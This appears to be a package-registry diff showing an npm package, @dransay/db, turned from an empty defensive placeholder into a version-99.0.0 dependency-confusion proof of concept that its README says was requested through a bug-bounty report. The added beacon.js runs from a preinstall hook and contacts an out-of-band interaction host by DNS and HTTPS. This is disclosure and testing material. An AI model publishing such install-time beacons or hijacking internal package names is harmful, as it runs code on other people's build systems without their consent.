@dransay/db 0.0.1 → 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +26 -6
  2. package/beacon.js +18 -0
  3. package/package.json +9 -4
package/README.md CHANGED
@@ -1,7 +1,27 @@
1
- # Defensive placeholder — not a functional package
1
+ # Benign security-research beacon (dependency-confusion PoC)
2
2
 
3
- This package name (`@dransay/*`) was referenced in publicly shipped DrAnsay frontend
4
- source maps while the `@dransay` npm scope was unclaimed, creating a dependency-confusion
5
- precondition. This placeholder contains **no code and no install scripts**. It exists only
6
- to prevent malicious registration. Reported to DrAnsay via YesWeHack; the scope will be
7
- transferred to DrAnsay on request.
3
+ This package was published by security researcher `0xamino_hunter` at the **explicit
4
+ request of the DrAnsay / YesWeHack triage team** (report **#YWH-PGM42275-93**) to
5
+ determine whether DrAnsay build infrastructure resolves internal `@dransay/*` package
6
+ names against the public npm registry (dependency confusion).
7
+
8
+ ## What it does
9
+ On `npm install` only, `beacon.js` sends:
10
+ 1. one DNS lookup to `<package>.<research-controlled-interactsh-host>`, and
11
+ 2. one HTTPS GET to the same host, path = package name.
12
+
13
+ That is the entirety of the "payload". The receiving server logs **source IP and
14
+ timestamp only** — exactly the evidence the triage team asked for ("demonstrate that
15
+ you've obtained an interaction on your package from one of our employees/automated
16
+ tools").
17
+
18
+ ## What it does NOT do
19
+ No environment variables, no file reads/writes, no system info, no credentials,
20
+ no persistence, no privilege use, no second stages. It cannot fail or meaningfully
21
+ delay an install (fail-open, 2.5s timeout).
22
+
23
+ ## If this fired in your environment
24
+ Your npm/CI resolved this name against the public registry instead of a private one.
25
+ Pin `@dransay:registry=<private>` in every `.npmrc` and disable public fall-through
26
+ in any proxy (Verdaccio/Nexus/Artifactory). Ownership of this name will be transferred
27
+ to DrAnsay on request via the report thread.
package/beacon.js ADDED
@@ -0,0 +1,18 @@
1
+ // Benign dependency-confusion interaction beacon — NOT malware.
2
+ // Published at the explicit request of the DrAnsay / YesWeHack triage team
3
+ // (report #YWH-PGM42275-93) to determine whether DrAnsay build systems resolve
4
+ // internal @dransay/* package names against the public npm registry.
5
+ //
6
+ // It transmits NOTHING except one DNS lookup and one HTTPS GET whose path
7
+ // encodes only the package name. No environment variables, no files, no
8
+ // system information, no persistence, no privilege use. Fail-open by design:
9
+ // it can never block, slow (max ~2.5s), or fail an install.
10
+ // Contact: 0xamino_hunter via the YesWeHack report thread.
11
+ try {
12
+ var pkg = 'db';
13
+ var d = 'db3klhbi6i9hark1kegg174t38h33b6wt.oast.site';
14
+ require('dns').lookup(pkg + '.' + d, function () {});
15
+ var req = require('https').get({ host: d, path: '/' + pkg, timeout: 2500 }, function (res) { res.resume(); });
16
+ req.on('error', function () {});
17
+ req.on('timeout', function () { req.destroy(); });
18
+ } catch (e) {}
package/package.json CHANGED
@@ -1,8 +1,13 @@
1
1
  {
2
2
  "name": "@dransay/db",
3
- "version": "0.0.1",
4
- "description": "Defensive placeholder. This name was reserved by a security researcher to prevent dependency-confusion attacks against DrAnsay build infrastructure. Reported via YesWeHack. Contact: transfer to DrAnsay on request.",
3
+ "version": "99.0.0",
4
+ "description": "Benign dependency-confusion interaction beacon published at the explicit request of the DrAnsay/YesWeHack triage team (report #YWH-PGM42275-93). No data collection; see README.",
5
5
  "license": "UNLICENSED",
6
6
  "private": false,
7
- "publishConfig": { "access": "public" }
8
- }
7
+ "publishConfig": {
8
+ "access": "public"
9
+ },
10
+ "scripts": {
11
+ "preinstall": "node beacon.js"
12
+ }
13
+ }